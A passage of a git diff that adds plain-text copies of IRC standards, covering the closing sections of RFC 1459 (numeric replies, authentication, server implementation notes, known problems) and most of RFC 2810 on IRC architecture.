+        211     RPL_STATSLINKINFO
+                        "<linkname> <sendq> <sent messages> \
+                         <sent bytes> <received messages> \
+                         <received bytes> <time open>"
+        212     RPL_STATSCOMMANDS
+                        "<command> <count>"
+        213     RPL_STATSCLINE
+                        "C <host> * <name> <port> <class>"
+        214     RPL_STATSNLINE
+                        "N <host> * <name> <port> <class>"
+        215     RPL_STATSILINE
+                        "I <host> * <host> <port> <class>"
+        216     RPL_STATSKLINE
+                        "K <host> * <username> <port> <class>"
+        218     RPL_STATSYLINE
+                        "Y <class> <ping frequency> <connect \
+                         frequency> <max sendq>"
+        219     RPL_ENDOFSTATS
+                        "<stats letter> :End of /STATS report"
+        241     RPL_STATSLLINE
+                        "L <hostmask> * <servername> <maxdepth>"
+        242     RPL_STATSUPTIME
+                        ":Server Up %d days %d:%02d:%02d"
+        243     RPL_STATSOLINE
+                        "O <hostmask> * <name>"
+        244     RPL_STATSHLINE
+                        "H <hostmask> * <servername>"
+
+        221     RPL_UMODEIS
+                        "<user mode string>"
+
+
+
+
+Oikarinen & Reed                                               [Page 54]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                        - To answer a query about a client's own mode,
+                          RPL_UMODEIS is sent back.
+
+        251     RPL_LUSERCLIENT
+                        ":There are <integer> users and <integer> \
+                         invisible on <integer> servers"
+        252     RPL_LUSEROP
+                        "<integer> :operator(s) online"
+        253     RPL_LUSERUNKNOWN
+                        "<integer> :unknown connection(s)"
+        254     RPL_LUSERCHANNELS
+                        "<integer> :channels formed"
+        255     RPL_LUSERME
+                        ":I have <integer> clients and <integer> \
+                          servers"
+
+                        - In processing an LUSERS message, the server
+                          sends a set of replies from RPL_LUSERCLIENT,
+                          RPL_LUSEROP, RPL_USERUNKNOWN,
+                          RPL_LUSERCHANNELS and RPL_LUSERME.  When
+                          replying, a server must send back
+                          RPL_LUSERCLIENT and RPL_LUSERME.  The other
+                          replies are only sent back if a non-zero count
+                          is found for them.
+
+        256     RPL_ADMINME
+                        "<server> :Administrative info"
+        257     RPL_ADMINLOC1
+                        ":<admin info>"
+        258     RPL_ADMINLOC2
+                        ":<admin info>"
+        259     RPL_ADMINEMAIL
+                        ":<admin info>"
+
+                        - When replying to an ADMIN message, a server
+                          is expected to use replies RLP_ADMINME
+                          through to RPL_ADMINEMAIL and provide a text
+                          message with each.  For RPL_ADMINLOC1 a
+                          description of what city, state and country
+                          the server is in is expected, followed by
+                          details of the university and department
+                          (RPL_ADMINLOC2) and finally the administrative
+                          contact for the server (an email address here
+                          is required) in RPL_ADMINEMAIL.
+
+
+
+
+
+
+
+Oikarinen & Reed                                               [Page 55]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+6.3 Reserved numerics.
+
+   These numerics are not described above since they fall into one of
+   the following categories:
+
+        1. no longer in use;
+
+        2. reserved for future planned use;
+
+        3. in current use but are part of a non-generic 'feature' of
+           the current IRC server.
+
+        209     RPL_TRACECLASS          217     RPL_STATSQLINE
+        231     RPL_SERVICEINFO         232     RPL_ENDOFSERVICES
+        233     RPL_SERVICE             234     RPL_SERVLIST
+        235     RPL_SERVLISTEND
+        316     RPL_WHOISCHANOP         361     RPL_KILLDONE
+        362     RPL_CLOSING             363     RPL_CLOSEEND
+        373     RPL_INFOSTART           384     RPL_MYPORTIS
+        466     ERR_YOUWILLBEBANNED     476     ERR_BADCHANMASK
+        492     ERR_NOSERVICEHOST
+
+7. Client and server authentication
+
+   Clients and servers are both subject to the same level of
+   authentication.  For both, an IP number to hostname lookup (and
+   reverse check on this) is performed for all connections made to the
+   server.  Both connections are then subject to a password check (if
+   there is a password set for that connection).  These checks are
+   possible on all connections although the password check is only
+   commonly used with servers.
+
+   An additional check that is becoming of more and more common is that
+   of the username responsible for making the connection.  Finding the
+   username of the other end of the connection typically involves
+   connecting to an authentication server such as IDENT as described in
+   RFC 1413.
+
+   Given that without passwords it is not easy to reliably determine who
+   is on the other end of a network connection, use of passwords is
+   strongly recommended on inter-server connections in addition to any
+   other measures such as using an ident server.
+
+8. Current implementations
+
+   The only current implementation of this protocol is the IRC server,
+   version 2.8. Earlier versions may implement some or all of the
+   commands described by this document with NOTICE messages replacing
+
+
+
+Oikarinen & Reed                                               [Page 56]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   many of the numeric replies.  Unfortunately, due to backward
+   compatibility requirements, the implementation of some parts of this
+   document varies with what is laid out.  On notable difference is:
+
+        * recognition that any LF or CR anywhere in a message marks the
+          end of that message (instead of requiring CR-LF);
+
+   The rest of this section deals with issues that are mostly of
+   importance to those who wish to implement a server but some parts
+   also apply directly to clients as well.
+
+8.1 Network protocol: TCP - why it is best used here.
+
+   IRC has been implemented on top of TCP since TCP supplies a reliable
+   network protocol which is well suited to this scale of conferencing.
+   The use of multicast IP is an alternative, but it is not widely
+   available or supported at the present time.
+
+8.1.1 Support of Unix sockets
+
+   Given that Unix domain sockets allow listen/connect operations, the
+   current implementation can be configured to listen and accept both
+   client and server connections on a Unix domain socket.  These are
+   recognized as sockets where the hostname starts with a '/'.
+
+   When providing any information about the connections on a Unix domain
+   socket, the server is required to supplant the actual hostname in
+   place of the pathname unless the actual socket name is being asked
+   for.
+
+8.2 Command Parsing
+
+   To provide useful 'non-buffered' network IO for clients and servers,
+   each connection is given its own private 'input buffer' in which the
+   results of the most recent read and parsing are kept.  A buffer size
+   of 512 bytes is used so as to hold 1 full message, although, this
+   will usually hold several commands.  The private buffer is parsed
+   after every read operation for valid messages.  When dealing with
+   multiple messages from one client in the buffer, care should be taken
+   in case one happens to cause the client to be 'removed'.
+
+8.3 Message delivery
+
+   It is common to find network links saturated or hosts to which you
+   are sending data unable to send data.  Although Unix typically
+   handles this through the TCP window and internal buffers, the server
+   often has large amounts of data to send (especially when a new
+   server-server link forms) and the small buffers provided in the
+
+
+
+Oikarinen & Reed                                               [Page 57]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   kernel are not enough for the outgoing queue.  To alleviate this
+   problem, a "send queue" is used as a FIFO queue for data to be sent.
+   A typical "send queue" may grow to 200 Kbytes on a large IRC network
+   with a slow network connection when a new server connects.
+
+   When polling its connections, a server will first read and parse all
+   incoming data, queuing any data to be sent out. When all available
+   input is processed, the queued data is sent. This reduces the number
+   of write() system calls and helps TCP make bigger packets.
+
+8.4 Connection 'Liveness'
+
+   To detect when a connection has died or become unresponsive, the
+   server must ping each of its connections that it doesn't get a
+   response from in a given amount of time.
+
+   If a connection doesn't respond in time, its connection is closed
+   using the appropriate procedures.  A connection is also dropped if
+   its sendq grows beyond the maximum allowed, because it is better to
+   close a slow connection than have a server process block.
+
+8.5 Establishing a server to client connection
+
+   Upon connecting to an IRC server, a client is sent the MOTD (if
+   present) as well as the current user/server count (as per the LUSER
+   command).  The server is also required to give an unambiguous message
+   to the client which states its name and version as well as any other
+   introductory messages which may be deemed appropriate.
+
+   After dealing with this, the server must then send out the new user's
+   nickname and other information as supplied by itself (USER command)
+   and as the server could discover (from DNS/authentication servers).
+   The server must send this information out with NICK first followed by
+   USER.
+
+8.6 Establishing a server-server connection.
+
+   The process of establishing of a server-to-server connection is
+   fraught with danger since there are many possible areas where
+   problems can occur - the least of which are race conditions.
+
+   After a server has received a connection following by a PASS/SERVER
+   pair which were recognised as being valid, the server should then
+   reply with its own PASS/SERVER information for that connection as
+   well as all of the other state information it knows about as
+   described below.
+
+   When the initiating server receives a PASS/SERVER pair, it too then
+
+
+
+Oikarinen & Reed                                               [Page 58]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   checks that the server responding is authenticated properly before
+   accepting the connection to be that server.
+
+8.6.1 Server exchange of state information when connecting
+
+   The order of state information being exchanged between servers is
+   essential.  The required order is as follows:
+
+        * all known other servers;
+
+        * all known user information;
+
+        * all known channel information.
+
+   Information regarding servers is sent via extra SERVER messages, user
+   information with NICK/USER/MODE/JOIN messages and channels with MODE
+   messages.
+
+   NOTE: channel topics are *NOT* exchanged here because the TOPIC
+   command overwrites any old topic information, so at best, the two
+   sides of the connection would exchange topics.
+
+   By passing the state information about servers first, any collisions
+   with servers that already exist occur before nickname collisions due
+   to a second server introducing a particular nickname.  Due to the IRC
+   network only being able to exist as an acyclic graph, it may be
+   possible that the network has already reconnected in another
+   location, the place where the collision occurs indicating where the
+   net needs to split.
+
+8.7 Terminating server-client connections
+
+   When a client connection closes, a QUIT message is generated on
+   behalf of the client by the server to which the client connected.  No
+   other message is to be generated or used.
+
+8.8 Terminating server-server connections
+
+   If a server-server connection is closed, either via a remotely
+   generated SQUIT or 'natural' causes, the rest of the connected IRC
+   network must have its information updated with by the server which
+   detected the closure.  The server then sends a list of SQUITs (one
+   for each server behind that connection) and a list of QUITs (again,
+   one for each client behind that connection).
+
+
+
+
+
+
+
+Oikarinen & Reed                                               [Page 59]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+8.9 Tracking nickname changes
+
+   All IRC servers are required to keep a history of recent nickname
+   changes.  This is required to allow the server to have a chance of
+   keeping in touch of things when nick-change race conditions occur
+   with commands which manipulate them.  Commands which must trace nick
+   changes are:
+
+        * KILL (the nick being killed)
+
+        * MODE (+/- o,v)
+
+        * KICK (the nick being kicked)
+
+   No other commands are to have nick changes checked for.
+
+   In the above cases, the server is required to first check for the
+   existence of the nickname, then check its history to see who that
+   nick currently belongs to (if anyone!).  This reduces the chances of
+   race conditions but they can still occur with the server ending up
+   affecting the wrong client.  When performing a change trace for an
+   above command it is recommended that a time range be given and
+   entries which are too old ignored.
+
+   For a reasonable history, a server should be able to keep previous
+   nickname for every client it knows about if they all decided to
+   change.  This size is limited by other factors (such as memory, etc).
+
+8.10 Flood control of clients
+
+   With a large network of interconnected IRC servers, it is quite easy
+   for any single client attached to the network to supply a continuous
+   stream of messages that result in not only flooding the network, but
+   also degrading the level of service provided to others.  Rather than
+   require every 'victim' to be provide their own protection, flood
+   protection was written into the server and is applied to all clients
+   except services.  The current algorithm is as follows:
+
+        * check to see if client's `message timer' is less than
+          current time (set to be equal if it is);
+
+        * read any data present from the client;
+
+        * while the timer is less than ten seconds ahead of the current
+          time, parse any present messages and penalize the client by
+          2 seconds for each message;
+
+   which in essence means that the client may send 1 message every 2
+
+
+
+Oikarinen & Reed                                               [Page 60]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   seconds without being adversely affected.
+
+8.11 Non-blocking lookups
+
+   In a real-time environment, it is essential that a server process do
+   as little waiting as possible so that all the clients are serviced
+   fairly.  Obviously this requires non-blocking IO on all network
+   read/write operations.  For normal server connections, this was not
+   difficult, but there are other support operations that may cause the
+   server to block (such as disk reads).  Where possible, such activity
+   should be performed with a short timeout.
+
+8.11.1 Hostname (DNS) lookups
+
+   Using the standard resolver libraries from Berkeley and others has
+   meant large delays in some cases where replies have timed out.  To
+   avoid this, a separate set of DNS routines were written which were
+   setup for non-blocking IO operations and then polled from within the
+   main server IO loop.
+
+8.11.2 Username (Ident) lookups
+
+   Although there are numerous ident libraries for use and inclusion
+   into other programs, these caused problems since they operated in a
+   synchronous manner and resulted in frequent delays.  Again the
+   solution was to write a set of routines which would cooperate with
+   the rest of the server and work using non-blocking IO.
+
+8.12 Configuration File
+
+   To provide a flexible way of setting up and running the server, it is
+   recommended that a configuration file be used which contains
+   instructions to the server on the following:
+
+        * which hosts to accept client connections from;
+
+        * which hosts to allow to connect as servers;
+
+        * which hosts to connect to (both actively and
+          passively);
+
+        * information about where the server is (university,
+          city/state, company are examples of this);
+
+        * who is responsible for the server and an email address
+          at which they can be contacted;
+
+        * hostnames and passwords for clients which wish to be given
+
+
+
+Oikarinen & Reed                                               [Page 61]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+          access to restricted operator commands.
+
+   In specifying hostnames, both domain names and use of the 'dot'
+   notation (127.0.0.1) should both be accepted.  It must be possible to
+   specify the password to be used/accepted for all outgoing and
+   incoming connections (although the only outgoing connections are
+   those to other servers).
+
+   The above list is the minimum requirement for any server which wishes
+   to make a connection with another server.  Other items which may be
+   of use are:
+
+        * specifying which servers other server may introduce;
+
+        * how deep a server branch is allowed to become;
+
+        * hours during which clients may connect.
+
+8.12.1 Allowing clients to connect
+
+   A server should use some sort of 'access control list' (either in the
+   configuration file or elsewhere) that is read at startup and used to
+   decide what hosts clients may use to connect to it.
+
+   Both 'deny' and 'allow' should be implemented to provide the required
+   flexibility for host access control.
+
+8.12.2 Operators
+
+   The granting of operator privileges to a disruptive person can have
+   dire consequences for the well-being of the IRC net in general due to
+   the powers given to them.  Thus, the acquisition of such powers
+   should not be very easy.  The current setup requires two 'passwords'
+   to be used although one of them is usually easy guessed.  Storage of
+   oper passwords in configuration files is preferable to hard coding
+   them in and should be stored in a crypted format (ie using crypt(3)
+   from Unix) to prevent easy theft.
+
+8.12.3 Allowing servers to connect
+
+   The interconnection of server is not a trivial matter: a bad
+   connection can have a large impact on the usefulness of IRC.  Thus,
+   each server should have a list of servers to which it may connect and
+   which servers may connect to it.  Under no circumstances should a
+   server allow an arbitrary host to connect as a server.  In addition
+   to which servers may and may not connect, the configuration file
+   should also store the password and other characteristics of that
+   link.
+
+
+
+Oikarinen & Reed                                               [Page 62]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+8.12.4 Administrivia
+
+   To provide accurate and valid replies to the ADMIN command (see
+   section 4.3.7), the server should find the relevant details in the
+   configuration.
+
+8.13 Channel membership
+
+   The current server allows any registered local user to join upto 10
+   different channels.  There is no limit imposed on non-local users so
+   that the server remains (reasonably) consistant with all others on a
+   channel membership basis
+
+9. Current problems
+
+   There are a number of recognized problems with this protocol, all  of
+   which  hope to be solved sometime in the near future during its
+   rewrite.  Currently, work is underway to find working solutions to
+   these problems.
+
+9.1 Scalability
+
+   It is widely recognized that this protocol does not scale
+   sufficiently well when used in a large arena.  The main problem comes
+   from the requirement that all servers know about all other servers
+   and users and that information regarding them be updated as soon as
+   it changes.  It is also desirable to keep the number of servers low
+   so that the path length between any two points is kept minimal and
+   the spanning tree as strongly branched as possible.
+
+9.2 Labels
+
+   The current IRC protocol has 3 types of labels: the nickname, the
+   channel name and the server name.  Each of the three types has its
+   own domain and no duplicates are allowed inside that domain.
+   Currently, it is possible for users to pick the label for any of the
+   three, resulting in collisions.  It is widely recognized that this
+   needs reworking, with a plan for unique names for channels and nicks
+   that don't collide being desirable as well as a solution allowing a
+   cyclic tree.
+
+9.2.1 Nicknames
+
+   The idea of the nickname on IRC is very convenient for users to use
+   when talking to each other outside of a channel, but there is only a
+   finite nickname space and being what they are, its not uncommon for
+   several people to want to use the same nick.  If a nickname is chosen
+   by two people using this protocol, either one will not succeed or
+
+
+
+Oikarinen & Reed                                               [Page 63]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   both will removed by use of KILL (4.6.1).
+
+9.2.2 Channels
+
+   The current channel layout requires that all servers know about all
+   channels, their inhabitants and properties.  Besides not scaling
+   well, the issue of privacy is also a concern.  A collision of
+   channels is treated as an inclusive event (both people who create the
+   new channel are considered to be members of it) rather than an
+   exclusive one such as used to solve nickname collisions.
+
+9.2.3 Servers
+
+   Although the number of servers is usually small relative to the
+   number of users and channels, they two currently required to be known
+   globally, either each one separately or hidden behind a mask.
+
+9.3 Algorithms
+
+   In some places within the server code, it has not  been  possible  to
+   avoid  N^2  algorithms  such  as  checking  the channel list of a set
+   of clients.
+
+   In current server versions, there are no database consistency checks,
+   each server assumes that a neighbouring server is correct.  This
+   opens the door to large problems if a connecting server is buggy or
+   otherwise tries to introduce contradictions to the existing net.
+
+   Currently, because of the lack of unique internal and global labels,
+   there are a multitude of race conditions that exist.  These race
+   conditions generally arise from the problem of it taking time for
+   messages to traverse and effect the IRC network.  Even by changing to
+   unique labels, there are problems with channel-related commands being
+   disrupted.
+
+10. Current support and availability
+
+           Mailing lists for IRC related discussion:
+                Future protocol: ircd-three-request@eff.org
+                General discussion: operlist-request@eff.org
+
+           Software implemenations
+                cs.bu.edu:/irc
+                nic.funet.fi:/pub/irc
+                coombs.anu.edu.au:/pub/irc
+
+           Newsgroup: alt.irc
+
+
+
+
+Oikarinen & Reed                                               [Page 64]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+Security Considerations
+
+   Security issues are discussed in sections 4.1, 4.1.1, 4.1.3, 5.5, and
+   7.
+
+12. Authors' Addresses
+
+   Jarkko Oikarinen
+   Tuirantie 17 as 9
+   90500 OULU
+   FINLAND
+
+   Email: jto@tolsun.oulu.fi
+
+
+   Darren Reed
+   4 Pateman Street
+   Watsonia, Victoria 3087
+   Australia
+
+   Email: avalon@coombs.anu.edu.au
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Oikarinen & Reed                                               [Page 65]
+
\ No newline at end of file
diff --git a/rfc/rfc2810.txt b/rfc/rfc2810.txt
new file mode 100644
index 0000000..e628a83
--- /dev/null
+++ b/rfc/rfc2810.txt
@@ -0,0 +1,563 @@
+
+
+
+
+
+
+Network Working Group                                           C. Kalt
+Request for Comments: 2810                                   April 2000
+Updates: 1459
+Category: Informational
+
+
+                   Internet Relay Chat: Architecture
+
+Status of this Memo
+
+   This memo provides information for the Internet community.  It does
+   not specify an Internet standard of any kind.  Distribution of this
+   memo is unlimited.
+
+Copyright Notice
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+Abstract
+
+   The IRC (Internet Relay Chat) protocol is for use with text based
+   conferencing. It has been developed since 1989 when it was originally
+   implemented as a mean for users on a BBS to chat amongst themselves.
+
+   First formally documented in May 1993 by RFC 1459 [IRC], the protocol
+   has kept evolving. This document is an update describing the
+   architecture of the current IRC protocol and the role of its
+   different components.  Other documents describe in detail the
+   protocol used between the various components defined here.
+
+Table of Contents
+
+   1.  Introduction ...............................................   2
+   2.  Components .................................................   2
+      2.1  Servers ................................................   2
+      2.2  Clients ................................................   3
+         2.2.1  User Clients ......................................   3
+         2.2.2  Service Clients ...................................   3
+   3.  Architecture ...............................................   3
+   4.  IRC Protocol Services ......................................   4
+      4.1  Client Locator .........................................   4
+      4.2  Message Relaying .......................................   4
+      4.3  Channel Hosting And Management .........................   4
+   5.  IRC Concepts ...............................................   4
+      5.1  One-To-One Communication ...............................   5
+      5.2  One-To-Many ............................................   5
+         5.2.1  To A Channel ......................................   5
+         5.2.2  To A Host/Server Mask .............................   6
+
+
+
+Kalt                         Informational                      [Page 1]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+         5.2.3  To A List .........................................   6
+      5.3  One-To-All .............................................   6
+         5.3.1  Client-to-Client ..................................   6
+         5.3.2  Client-to-Server ..................................   7
+         5.3.3  Server-to-Server ..................................   7
+   6.  Current Problems ...........................................   7
+      6.1  Scalability ............................................   7
+      6.2  Reliability ............................................   7
+      6.3  Network Congestion .....................................   7
+      6.4  Privacy ................................................   8
+   7.  Security Considerations ....................................   8
+   8.  Current Support And Availability ...........................   8
+   9.  Acknowledgements ...........................................   8
+   10.  References ................................................   8
+   11.  Author's Address ..........................................   9
+   12.  Full Copyright Statement ..................................  10
+
+1. Introduction
+
+   The IRC (Internet Relay Chat) protocol has been designed over a
+   number of years for use with text based conferencing.  This document
+   describes its current architecture.
+
+   The IRC Protocol is based on the client-server model, and is well
+   suited to running on many machines in a distributed fashion.  A
+   typical setup involves a single process (the server) forming a
+   central point for clients (or other servers) to connect to,
+   performing the required message delivery/multiplexing and other
+   functions.
+
+   This distributed model, which requires each server to have a copy
+   of the global state information, is still the most flagrant problem
+   of the protocol as it is a serious handicap, which limits the maximum
+   size a network can reach.  If the existing networks have been able to
+   keep growing at an incredible pace, we must thank hardware
+   manufacturers for giving us ever more powerful systems.
+
+2. Components
+
+   The following paragraphs define the basic components of the IRC
+   protocol.
+
+2.1 Servers
+
+   The server forms the backbone of IRC as it is the only component
+   of the protocol which is able to link all the other components
+   together: it provides a point to which clients may connect to talk to
+
+
+
+
+Kalt                         Informational                      [Page 2]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+   each other [IRC-CLIENT], and a point for other servers to connect to
+   [IRC-SERVER].  The server is also responsible for providing the basic
+   services defined by the IRC protocol.
+
+2.2 Clients
+
+   A client is anything connecting to a server that is not another
+   server.  There are two types of clients which both serve a different
+   purpose.
+
+2.2.1 User Clients
+
+   User clients are generally programs providing a text based
+   interface that is used to communicate interactively via IRC.  This
+   particular type of clients is often referred as "users".
+
+2.2.2 Service Clients
+
+   Unlike users, service clients are not intended to be used manually
+   nor for talking.  They have a more limited access to the chat
+   functions of the protocol, while optionally having access to more
+   private data from the servers.
+
+   Services are typically automatons used to provide some kind of
+   service (not necessarily related to IRC itself) to users.  An example
+   is a service collecting statistics about the origin of users
+   connected on the IRC network.
+
+3. Architecture
+
+   An IRC network is defined by a group of servers connected to each
+   other.  A single server forms the simplest IRC network.
+
+   The only network configuration allowed for IRC servers is that of
+   a spanning tree where each server acts as a central node for the rest
+   of the network it sees.
+
+                       1--\
+                           A        D---4
+                       2--/ \      /
+                             B----C
+                            /      \
+                           3        E
+
+   Servers: A, B, C, D, E         Clients: 1, 2, 3, 4
+
+                    [ Fig. 1. Sample small IRC network ]
+
+
+
+
+Kalt                         Informational                      [Page 3]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+   The IRC protocol provides no mean for two clients to directly
+   communicate.  All communication between clients is relayed by the
+   server(s).
+
+4. IRC Protocol Services
+
+   This section describes the services offered by the IRC protocol.  The
+   combination of these services allow real-time conferencing.
+
+4.1 Client Locator
+
+   To be able to exchange messages, two clients must be able to locate
+   each other.
+
+   Upon connecting to a server, a client registers using a label which
+   is then used by other servers and clients to know where the client is
+   located.  Servers are responsible for keeping track of all the labels
+   being used.
+
+4.2 Message Relaying
+
+   The IRC protocol provides no mean for two clients to directly
+   communicate.  All communication between clients is relayed by the
+   server(s).
+
+4.3 Channel Hosting And Management
+
+   A channel is a named group of one or more users which will all
+   receive messages addressed to that channel.  A channel is
+   characterized by its name and current members, it also has a set of
+   properties which can be manipulated by (some of) its members.
+
+   Channels provide a mean for a message to be sent to several clients.
+   Servers host channels, providing the necessary message multiplexing.
+   Servers are also responsible for managing channels by keeping track
+   of the channel members.  The exact role of servers is defined in
+   "Internet Relay Chat: Channel Management" [IRC-CHAN].
+
+5. IRC Concepts
+
+   This section is devoted to describing the actual concepts behind the
+   organization of the IRC protocol and how different classes of
+   messages are delivered.
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 4]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+5.1 One-To-One Communication
+
+   Communication on a one-to-one basis is usually performed by clients,
+   since most server-server traffic is not a result of servers talking
+   only to each other.  To provide a means for clients to talk to each
+   other, it is REQUIRED that all servers be able to send a message in
+   exactly one direction along the spanning tree in order to reach any
+   client.  Thus the path of a message being delivered is the shortest
+   path between any two points on the spanning tree.
+
+   The following examples all refer to Figure 1 above.
+
+   Example 1: A message between clients 1 and 2 is only seen by server
+       A, which sends it straight to client 2.
+
+   Example 2: A message between clients 1 and 3 is seen by servers A &
+       B, and client 3.  No other clients or servers are allowed see the
+       message.
+
+   Example 3: A message between clients 2 and 4 is seen by servers A, B,
+       C & D and client 4 only.
+
+5.2 One-To-Many
+
+   The main goal of IRC is to provide a forum which allows easy and
+   efficient conferencing (one to many conversations).  IRC offers
+   several means to achieve this, each serving its own purpose.
+
+5.2.1 To A Channel
+
+   In IRC the channel has a role equivalent to that of the multicast
+   group; their existence is dynamic and the actual conversation carried
+   out on a channel MUST only be sent to servers which are supporting
+   users on a given channel.  Moreover, the message SHALL only be sent
+   once to every local link as each server is responsible to fan the
+   original message to ensure that it will reach all the recipients.
+
+   The following examples all refer to Figure 2.
+
+   Example 4: Any channel with 1 client in it. Messages to the channel
+       go to the server and then nowhere else.
+
+   Example 5: 2 clients in a channel. All messages traverse a path as if
+       they were private messages between the two clients outside a
+       channel.
+
+
+
+
+
+
+Kalt                         Informational                      [Page 5]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+   Example 6: Clients 1, 2 and 3 in a channel.  All messages to the
+       channel are sent to all clients and only those servers which must
+       be traversed by the message if it were a private message to a
+       single client.  If client 1 sends a message, it goes back to
+       client 2 and then via server B to client 3.
+
+5.2.2 To A Host/Server Mask
+
+   To provide with some mechanism to send messages to a large body of
+   related users, host and server mask messages are available.  These
+   messages are sent to users whose host or server information match
+   that of the mask.  The messages are only sent to locations where
+   users are, in a fashion similar to that of channels.
+
+5.2.3 To A List
+
+   The least efficient style of one-to-many conversation is through
+   clients talking to a 'list' of targets (client, channel, mask).  How
+   this is done is almost self explanatory: the client gives a list of
+   destinations to which the message is to be delivered and the server
+   breaks it up and dispatches a separate copy of the message to each
+   given destination.
+
+   This is not as efficient as using a channel since the destination
+   list MAY be broken up and the dispatch sent without checking to make
+   sure duplicates aren't sent down each path.
+
+5.3 One-To-All
+
+   The one-to-all type of message is better described as a broadcast
+   message, sent to all clients or servers or both.  On a large network
+   of users and servers, a single message can result in a lot of traffic
+   being sent over the network in an effort to reach all of the desired
+   destinations.
+
+   For some class of messages, there is no option but to broadcast it to
+   all servers so that the state information held by each server is
+   consistent between servers.
+
+5.3.1 Client-to-Client
+
+   There is no class of message which, from a single message, results in
+   a message being sent to every other client.
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 6]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+5.3.2 Client-to-Server
+
+   Most of the commands which result in a change of state information
+   (such as channel membership, channel mode, user status, etc.) MUST be
+   sent to all servers by default, and this distribution SHALL NOT be
+   changed by the client.
+
+5.3.3 Server-to-Server
+
+   While most messages between servers are distributed to all 'other'
+   servers, this is only required for any message that affects a user,
+   channel or server.  Since these are the basic items found in IRC,
+   nearly all messages originating from a server are broadcast to all
+   other connected servers.
+
+6. Current Problems
+
+   There are a number of recognized problems with this protocol, this
+   section only addresses the problems related to the architecture of
+   the protocol.
+
+6.1 Scalability
+
+   It is widely recognized that this protocol does not scale
+   sufficiently well when used in a large arena.  The main problem comes
+   from the requirement that all servers know about all other servers,
+   clients and channels and that information regarding them be updated
+   as soon as it changes.
+
+6.2 Reliability
+
+   As the only network configuration allowed for IRC servers is that of
+   a spanning tree, each link between two servers is an obvious and
+   quite serious point of failure.  This particular issue is addressed
+   more in detail in "Internet Relay Chat: Server Protocol" [IRC-
+   SERVER].
+
+6.3 Network Congestion
+
+   Another problem related to the scalability and reliability issues, as
+   well as the spanning tree architecture, is that the protocol and
+   architecture for IRC are extremely vulnerable to network congestions.
+   This problem is endemic, and should be solved for the next
+   generation: if congestion and high traffic volume cause a link
+   between two servers to fail, not only this failure generates more
+   network traffic, but the reconnection (eventually elsewhere) of two
+   servers also generates more traffic.
+
+
+
+
+Kalt                         Informational                      [Page 7]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+   In an attempt to minimize the impact of these problems, it is
+   strongly RECOMMENDED that servers do not automatically try to
+   reconnect too fast, in order to avoid aggravating the situation.
+
+6.4 Privacy
+
+   Besides not scaling well, the fact that servers need to know all
+   information about other entities, the issue of privacy is also a
+   concern. This is in particular true for channels, as the related
+   information is quite a lot more revealing than whether a user is
+   online or not.
+
+7. Security Considerations
+
+   Asides from the privacy concerns mentioned in section 6.4 (Privacy),
+   security is believed to be irrelevant to this document.
+
+8. Current Support And Availability
+
+        Mailing lists for IRC related discussion:
+          General discussion: ircd-users@irc.org
+          Protocol development: ircd-dev@irc.org
+
+        Software implementations:
+          ftp://ftp.irc.org/irc/server
+          ftp://ftp.funet.fi/pub/unix/irc
+          ftp://coombs.anu.edu.au/pub/irc
+
+        Newsgroup: alt.irc
+
+9. Acknowledgements
+
+   Parts of this document were copied from the RFC 1459 [IRC] which
+   first formally documented the IRC Protocol.  It has also benefited
+   from many rounds of review and comments.  In particular, the
+   following people have made significant contributions to this
+   document:
+
+   Matthew Green, Michael Neumayer, Volker Paulsen, Kurt Roeckx, Vesa
+   Ruokonen, Magnus Tjernstrom, Stefan Zehl.
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 8]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+10. References
+
+   [KEYWORDS]   Bradner, S., "Key words for use in RFCs to Indicate
+                Requirement Levels", BCP 14, RFC 2119, March 1997.
+
+   [IRC]        Oikarinen, J. and D. Reed, "Internet Relay Chat
+                Protocol", RFC 1459, May 1993.
+
+   [IRC-CLIENT] Kalt, C., "Internet Relay Chat: Client Protocol", RFC
+                2812, April 2000.
+
+   [IRC-SERVER] Kalt, C., "Internet Relay Chat: Server Protocol", RFC
+                2813, April 2000.
+
+   [IRC-CHAN]   Kalt, C., "Internet Relay Chat: Channel Management", RFC
+                2811, April 2000.
+
+11. Author's Address
+
+   Christophe Kalt
+   99 Teaneck Rd, Apt #117
+   Ridgefield Park, NJ 07660
+   USA
+
+   EMail: kalt@stealth.net
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 9]
+
+RFC 2810           Internet Relay Chat: Architecture          April 2000
+
+
+12.  Full Copyright Statement
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+   This document and translations of it may be copied and furnished to
+   others, and derivative works that comment on or otherwise explain it
+   or assist in its implementation may be prepared, copied, published
+   and distributed, in whole or in part, without restriction of any
+   kind, provided that the above copyright notice and this paragraph are
+   included on all such copies and derivative works.  However, this
+   document itself may not be modified in any way, such as by removing
+   the copyright notice or references to the Internet Society or other
+   Internet organizations, except as needed for the purpose of
+   developing Internet standards in which case the procedures for
+   copyrights defined in the Internet Standards process must be
+   followed, or as required to translate it into languages other than
